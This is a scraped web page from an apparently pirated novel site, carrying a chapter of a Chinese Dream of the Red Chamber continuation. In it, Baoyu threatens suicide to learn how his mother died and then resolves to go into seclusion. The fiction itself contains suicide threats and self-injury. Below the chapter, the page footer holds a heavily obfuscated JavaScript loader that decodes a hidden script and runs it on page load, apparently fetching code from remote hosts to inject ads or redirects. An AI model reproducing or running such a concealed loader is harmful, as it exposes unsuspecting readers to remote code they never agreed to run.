首页
第309章 以死相逼,决意隐
返回

第309章 以死相逼,决意隐居

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【沧元图小说网】
09read.com,更新快,无弹窗!

    第309章以死相逼,决意隐居
    「咱娘是不是死了?」
    贾元春闻言一愣,旋即面色阴沉,她看着贾宝玉问道。
    「谁与你说的?」
    「环儿说的,他还说上次陛下连夜召老祖宗进宫,回来的时候老祖宗犯了风疾,都是被咱娘给气的。」
    说到这里,满面泪痕的贾宝玉,抬头看着贾元春。
    「姐姐,你是我的同胞姐姐,我就你这麽一个同胞姐姐,你告诉我,咱娘没死,咱娘还活得好好的,环儿他是骗我的,是不是?」
    贾宝玉的问题,贾元春并没有直接回答,而是问道。
    「环儿还说了什麽?」
    「环儿说这件事他不能说,还劝我不要来问你,说知道了我会疯的,姐姐,你听他这话,定然是在扯谎无疑,
    我要是疯了,第一个高兴的便是他和他娘,他会有这麽好心?姐姐,你告诉我,环儿都是骗我的对不对?」
    贾宝玉连连发问,贾元春还是没有回答,而是看着他鲜血淋漓的额头。
    「你和环儿动手了?」
    贾宝玉脸色一红,紧忙狡辩道。
    「没有,没有动手,我这伤是在老祖宗灵枢前磕头给磕的。」
    贾元春证证的看着贾宝玉,看了很久很久,然后叹了口气。
    「宝玉,打你还吃奶那会儿,便是我一直照看着你,你是个什麽性子,我能不知道吗?
    你一扯谎便会脸红,今儿在老祖宗的灵位之前,你还要与我撒谎不成?」
    贾宝玉听了这话,一张大白脸登时涨得通红,便连忙解释了起来。
    无非是说贾环诅咒王夫人,还说王夫人的坏话,他实在是气不过,这才和贾环动了手。
    最后,贾宝玉还解释说,他额头上的伤,真的不是打架打的,真的是在贾母灵柩之前磕头给磕的。
    贾元春听完这些话,又是怒其不争,又是有些心疼,她板着脸训斥道。
    「老祖宗生前那麽疼你,你却在老祖宗的灵枢之前与环儿动手,你还有没有良心,还有没有一点做哥哥的样子?
    还有,你也老大不小了,怎麽越活越回去了,老祖宗逝,大家伙都很难受,可你见谁摧残身体来着?这便是你对老祖宗的孝心吗?
    这麽多儿孙之中,老祖宗最疼的便是你,她老人家也为你操碎了心,现在老祖宗逝了,你就不能让老祖宗少操点心,能不能让她老人家走的安心一些?」
    面对贾元春的训斥,贾宝玉涨红着脸,低着头一言不发。
    贾元春见状,又叹息了一声,她没有再继续训斥贾宝玉,而是招招手,让贾探春拿过来一块纱布,亲手给贾宝玉包扎额头上的伤口。
    然后贾元春并没有让贾宝玉回去,而是让贾宝玉就在这里,和她以及贾探春一起为贾母守灵。
    反正她,探春,宝玉,都是亲姐弟,即便不合乎礼法,但也顺乎亲情。
    再说贾宝玉,他跪在贾元春身旁,跪在贾母灵位之前,不停的给火盆里扔着纸钱金元宝。
    可是他的心里,却还在想着那个问题。
    他娘王夫人,到底死了,还是活着?
    还有老祖宗上次犯了风疾,到底是不是被他娘给害的?
    方才他一连问了两次,贾元春都王顾左右而言他,贾宝玉的心里,其实已经有了答案,
    可他还是不敢相信,亦或者是不愿意相信。
    过了好一会儿,也不知道是伤心难过,还是被烟给熏的,贾宝玉再一次红了眼眶,再一次双眼含泪。
    他扭头看向贾元春,再一次大着胆子问道。
    「姐姐,咱娘到底.....
    贾宝玉话未说完,贾元春便扭过头,狼狠地瞪了他一眼。
    贾元春恍惚之间,回忆起那一夜,她刚刚得知他娘沦为妓,甚至还怀了客孩子,然后上吊自尽的事情。
    (王夫人被戴权勒死的事情,李崇并未告知贾元春,而是对她说,她娘王夫人是自尽而亡的。
    刚开始,她也是接受不了这份打击,整个人跟疯了一样。
    幸好有陛下一直陪着她,一直劝慰着她,过了好久她才缓过来。
    她有陛下陪着,才能慢慢缓过来,可是宝玉,谁会陪着他,又有谁会安慰他呢?
    毕竟宝玉唯一的枕边人胡玉娘,这会儿正在大理寺,被严刑拷问呢!
    想至此处,贾元春叹息一声道。
    「咱娘的事情,你便不要问了,环儿说的不错,你若是知道了会疯的。」
    贾元春这话,本意是为了贾宝玉好,可是贾宝玉的精神,这会儿几近崩溃,整个人钻到牛角尖里,愣是出不来,他的心里却生出了别样的心思。
    贾宝玉心说,你不告诉我,是怕我发疯?
    那我现在便发疯给你看,看你说是不说?
    只见贾宝玉腾的一下站直了身子,从胸口挂着的金项圈上,一把拽下那块口衔之玉,狠狠地摔在了地上。
    接着,他又从贾母灵前,抄起一件宣德炉,狼狼地砸向那块口衔之玉。
    有一说一,贾宝玉生下来嘴里便衔着的这块玉,的确是个不可多得的宝贝。
    被贾宝玉摔了这麽多次,今儿又被宣德炉砸了两下,愣是没碎,而且纹丝未损,连个印子都没有。
    当真是至坚者玉,不同凡响。
    贾宝玉摔玉,砸他的命根子,若是贾母还活着,这会儿肯定早已经急得不行,定然会将宝玉搂在怀中温言安抚。
    不管贾宝玉这会儿想要什麽,贾母都会毫不犹豫的答应他。
    可惜,历来溺爱贾宝玉,惯着贾宝玉的贾母,这会儿已经逝了。
    可惜,此时的灵堂之内,只有贾元春和贾探春。
    只见贾探春面色大变,神情愣然,眼神里满是厌烦和恼怒之色。
    毕竟贾宝玉砸玉,这种经典戏码,贾探春在还未入宫之前,她还在荣国府之时,便已经亲眼见识过很多次了。
    但贾探春万万也没有想到的是,老祖宗逝才不过几天,在老祖宗的灵位之前,贾宝玉竟然还敢来这一出?
    你也不看看这是什麽地方?
    看来她的这位二哥哥,真真是一位没有心肝之人,枉费了老祖宗生前那麽疼爱他。
    而贾元春则早已是一脸色,她冷冷的看着贾宝玉,绝美的眸子里燃烧着熊熊怒火。
    贾宝玉砸玉,贾元春没有见识过,但是她听到过不少,
    可是贾元春无论如何也没有想到,贾宝玉为了逼迫她,竟然会在老祖宗的灵位之前砸玉,像个泼妇一样公然撒泼。
    贾元春也站直了身子,只见她被气得浑身颤抖,伸出葱段一般的手指,指着宝玉怒声呵斥道。
    「宝玉,你闹够了没有?在老祖宗的灵前,你竟敢如此放肆,难道你真的疯了不成?」
    贾宝玉闻言,心说你问我疯了不成,意思是不是说我疯的还不够?
    想到这里,贾宝玉抬起头,指着旁边的柱子道。
    「姐姐,咱娘的事情,你到底告不告诉我?你若是不说,我便一头撞死在这柱子上!」
    贾元春此时,已然被气得浑身抖若筛糠,她满面怒容,冷冷的看着贾宝玉。
    贾宝玉说要撞柱而死,对此贾元春一个字也不信。
    她这个蠢弟弟,她从小带到大,贾宝玉是个什麽德行,贾元春怎麽会不知道呢?
    贾宝玉若是有这份胆气,又何至于落到如今这步田地?
    可是贾元春心里也明白,若是不将实情告诉贾宝玉,天知道他还会闹出什麽么蛾子来?
    眼下最要紧的事情,便是将老祖宗风光大葬,让她老人家安安心心的走。
    可不能因为贾宝玉,搅和了老祖宗的葬礼,让前来祭奠,前来送葬的文武大臣,宗室勋贵们看荣国府,看贾家的笑话。
    先前贾元春一直不说,是怕贾宝玉知道真相之后,万一承受不住,做出什麽傻事来。
    但是现在,贾宝玉又是砸玉,又是以死相挟,贾元春被气得心神大乱,便顾不得那麽许多了。
    再说了,贾母被周文仁和胡玉娘给活活气死,这是不争的事实,而这一切的始作俑者,都是贾宝玉。
    因为此事,贾环恨极了贾宝玉。
    贾元春虽然不像贾环那般恨贾宝玉,但是她的心里,对贾宝玉也是有一些埋怨和责怪的。
    贾元春心说,你和胡玉娘同床共枕了一年多,竟然连她肚子里的孩子,是不是你的种,你都不知道,你还算个什麽男人?
    你第一次和胡玉娘行周公之礼,连她是不是尚未开苞的处子,你都分辨不出来。
    亏你整日间在闺阁之内,与那些女孩子一起厮混胡闹,连这都看不出来,简直是废物至极!
    既然你想知道,那我便告诉你,若是你承受不住,那也是你咎由自取,怨不得我。
    想至此处,被贾宝玉气得失去理智的贾元春,冲贾探春挥挥手道。
    「三妹妹,你出去,吩咐下去,灵堂百步之内不许有人,若有人胆敢偷听,即刻打死。」
    贾探春心里明白,贾元春接下来要与贾宝玉说的话,是机密中的机密,她是不能与闻的。
    而且这种机密要事,还是不知道的好。
    贾探春点点头,便轻移莲步,出了灵堂,并让那些太监宫女,全部退到百步以外。
    灵堂之内,贾元春冷冷的看着贾宝玉,眼神里已然没了姐姐看弟弟之时的温暖,取而代之的则是一片冰冷。
    就好像贾宝玉,不再是她的同胞弟弟了一般。
    「因为你被处以宫刑,咱娘觉得是我不念亲情,不在陛下面前为你求情,所以她想报复我..」
    说着,贾元春便双眼含泪,将王夫人为了报复她,自甘堕落,沦为妓,并且还怀上了客的孩子,最终事情败落,悬梁自尽的事情,原原本本的与贾宝玉讲了一遍。
    与此同时,贾元春也告诉贾宝玉,贾环说的并没有错,老祖宗上次之所以中风,便是知道了此事,气急攻心导致的。
    说完这些之后,贾元春冷冷的看着贾宝玉。
    「现在知道了真相,你满意了?你还闹不闹了?」
    贾元春问的这句话,贾宝玉好似没有听到一般,他感觉自己的脑袋快要炸了。
    贾宝玉一直在想,他娘好歹也是忠义伯府的千金大小姐,也曾经是荣国府二房的当家主母,怎麽会如此的自甘堕落,怎麽会沦为妓,甚至还怀上了客的孩子。
    这一切,简直太离谱,太荒唐了。
    而他娘做这一切,仅仅只是为了报复自己的女儿?
    他娘的性子,怎麽会如此极端?
    想到这里,贾宝玉不禁心中一阵恶寒,心说他过往的行事风格,不也是如此吗?
    但凡遇到点不顺心的事情,他不也是摔玉砸玉,寻死觅活的吗?
    难道说,他这性子,是随了他娘吗?
    这时候,贾宝玉才终于明白过来,贾环劝他不要问这件事,还说他若是知道了,肯定会疯的,
    并不是在奚落他,而是在真心实意的为他着想。
    看来贾环说的没错,他现在是真的快要疯了。
    去年他被处以宫刑,那会儿他便几近癫狂,后来胡玉娘怀了他的孩子,他才渐渐好了起来。
    再后来有了小贾,他的人生又有了指望,这才活得像个正常人了。
    可是方方也没有想到,小贾萎竟然不是他的种。
    紧接着,最最疼爱他的老祖宗也逝了。
    连番打击之下,贾宝玉觉得自己是真的要疯了。
    而现在,他又知道了他娘的事情,贾宝玉觉得,他不疯好像都不行了。
    疯,还是不疯,这是一个问题。
    贾宝玉感觉头痛欲裂,心中有一股无名之火无处发泄,得他快要死了一般。
    几近癫狂的贾宝玉,来至贾母灵前,『扑通』一声跪倒在地,一下一下又一下,不要命似的一个劲儿的磕头。
    「老祖宗,都是我害了你,都是我们母子害了你,老祖宗,鸣呜鸣,我,我真的不想活了。」
    再说贾元春,她虽然埋怨宝玉,虽然责怪宝玉,虽然恼怒宝玉,但贾宝玉再怎麽说,也是她唯一的同胞弟弟。
    看着贾宝玉如此痛苦,在贾母灵前不住的磕头,磕得原本包扎好的额头,又有血迹顺着纱布流出来,贾元春怎麽可能不心疼呢?
    只见贾元春泪流满面,扑到贾宝玉身上,将他紧紧抱住,不让他再继续磕头,不让他再继续糟践自己的身子。
    真让贾宝玉再这麽磕下去,非出人命不可。
    贾元春泪眼婆娑,声音哽咽的劝慰道「宝玉,别这样,你别这样,你这个样子,鸣鸣鸣,姐姐的心都快要碎了!
    老祖宗虽然不在了,咱娘虽然不在了,你还有我,还有我这个同胞姐姐,呜鸣鸣,往后姐姐我管你!」
    在贾母的灵前,贾元春抱着贾宝玉,哭哭啼啼的劝了许久,说了许多安慰贾宝玉的话。
    其中很多话,都是前阵子贾元春得知了王夫人的事情,皇帝安慰贾元春的话。
    而现如今,贾元春又原封不动的,将这些劝慰之言说给了她弟弟贾宝玉。
    也不知道是贾元春的劝慰有了效果,还是贾宝玉在谁骗贾元春,只见原本情绪激动,寻死觅活的贾宝玉,渐渐的竟然变得平静了许多。
    贾宝玉从贾元春的怀抱中挣脱出来,然后毕恭毕敬的叩头行礼。
    「大姐姐,你我虽是同胞姐弟,但份数君臣,朝廷礼法不可废,往后万万不可如此了。」
    贾宝玉突然之间,好似变了一个人,看得贾元春一愣一愣的。
    贾元春满面疑惑的看着贾宝玉:「宝玉,你没事吧!」
    贾宝玉抬头看了眼贾元春,又迅速低头,恭声回答道「大姐姐,你方才说的很对,逝者已矣,我们这些活着的人,不管多艰难,不管多煎熬,总要撑着活下去才行。
    再说了,我不仅仅有大姐姐你,我还有儿子,小平安虽说不是我亲生的,但我抱了他半年,将他当成亲生儿子养了半年,在我心里,他便是我的儿子,这就够了,
    更何况我现在是一个阉人,往后也不会有什么子嗣了,我将小平安养育成人,教他读书写字,
    让他以后为陛下尽忠,为大乾效力,也是一样的。」
    贾元春闻言,先是一愣,旋即勃然大怒,
    把野种当成自己的孩子,即便你愿意,荣国府和贾家,也丢不起这人。
    再说了,这个野种的爹娘,可是害死老祖宗的罪魁元凶啊!
    陛下仁慈,不杀这个野种,已经算是足够宽宏大量了。
    你现在竟然还要将这个野种,当成亲生儿子来养,是可忍,敦不可忍?
    可贾元春转念又一想,宝玉接连遭受打击,估摸着已经快要疯了。
    要是没有个心理寄托,只怕宝玉会想不开,会做出什麽傻事来。
    至于那个野种,还是先让宝玉养着吧!
    等缓过这阵子了,等宝玉没有大碍了,到时候如何处置那个野种,还不是一句话的事儿吗?
    想至此处,贾元春双眼含泪,点了点头,又劝慰了一番贾宝玉。
    姐弟俩说了许多话,直到天色初晓,东方泛出了鱼肚白,贾元春这才放贾宝玉离去。
    说到底,贾元春还是有些不大放心,故而命两个小太监,两个宫女贴身跟着贾宝玉,生怕他会想不开,做出什麽傻事来。
    那麽问题来了,贾宝玉突然之间,像是变了个人似的,到底是他痛彻心扉之后想通了,还是他故意这麽说,来逛骗贾元春的呢?
    只能说兼而有之吧!
    贾宝玉既没有想通,也没有逛骗贾元春。
    他此时的心里,只有一个念头,那就是生他养他的这座荣国府,他待不下去了。
    只要待在荣国府里,这里的一草一木,府里的上上下下所有人,便无时不刻不在提醒着他。
    他贾宝玉是一个太监。
    贾萎不是他的亲生骨肉。
    他娘是个人尽可夫,千人骑,万人压的娟妓。
    而最最疼爱他的老祖宗,是被他和他娘,还有贾萎的亲生父母给害死的。
    只要他还继续待在荣国府,即便现在不疯,总有一天他也会疯的。
    既然如此,梁园虽好,却不是他贾宝玉久留之地。
    还不如带着小平安,随便找个地方隐居呢!
    只要离开了荣国府,只要离开了这些熟悉的人和事,他便不再是贾宝玉了,也就不会有人知道,小平安不是他的儿子了。
    或许只有这样,他才能问心无愧,心安理得的活下去。
    当然在此之前,他还是要送老祖宗最后一程的。
    老祖宗生前那麽疼爱他,若是不送她老人家最后一程,他贾宝玉这一辈子都不会心安。
    除此之外,贾宝玉还想着,他是个不会带孩子的,还得把袭人带上才行。
    袭人是他此生第一个女人,袭人也将女人最宝贵的第一次交给了他。
    而且袭人忠厚善良,温婉可人,和那个表面贤良淑德,却蛇蝎心肠的胡玉娘截然不同。
    想来带着袭人去隐居,袭人定然是愿意的。
    而且他只带袭人一个人,没有其他女人来争宠,估摸着袭人不仅愿意,而且还受宠若惊,极为欣喜呢!
    贾宝玉一路这样想着,不知不觉间,便回到了他所住的那座小院。
    甫一进门,贾宝玉便瞧见,袭人躺在外间榻上,并没有在里间看着孩子。
    贾宝玉眉头微皱,轻轻摇了摇袭人的柔肩。
    将袭人唤醒之后,贾宝玉问袭人,怎麽睡在这里,为什麽不去里面睡?
    袭人睁开眼晴,看了眼贾宝玉,又看了看跟在贾宝玉身后,那两名太监和两名宫女,好没来由心里一阵厌烦。
    袭人心说,一个野种罢了,也值得她来照看?
    没看那个野种的奶妈,现在都不怎麽愿意,给那个野种喂奶了吗?
    想想也是,人家来当奶妈,自然是想着等奶大了小主子,往后跟着小主子沾光的。
    可以前的小主子,现在却成了一个野种,即便奶的再好,也落不着半点好处。
    她若是那个奶妈,她也不愿意给那个野种喂奶。
    还有她的这位傻二爷,人家都不是你的种,你还那麽在意那个野种干嘛?
    真真是糠萝吃浆糊,糊涂透顶只能说,她的这位蠢二爷,自从被处以宫刑,成了一个阉人之后,便不再是以前那个风流,让她牵心挂肚的宝二爷了。
    可是这些话,袭人最多也只是腹诽一下,她是不敢说出口的。
    若是惹恼了贾宝玉,估摸着到了夜间,贾宝玉又要拿鞭子抽她,又要来折磨她了。
    只见袭人笑道:「鸳鸯姐姐昨夜来了,她睡在里间,照看着孩子呢!
    鸳鸯姐姐当真会哄孩子,昨晚愣是没听见孩子哭过一回,要知道往常一晚上,孩子总要哭上好几回,还得喂上两三回奶才行呢!」
    贾宝玉闻言,先是笑了笑,旋即便面色大变。
    他养了小平安小半年,孩子的生活习性,贾宝玉自然是清楚的。
    不到半岁的孩子,一晚上怎麽说都得哭上好几回,得喂上好几回奶才行呢!
    什麽样的孩子,晚上才会不哭不闹,不要吃奶呢?
    除非,孩子已经
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();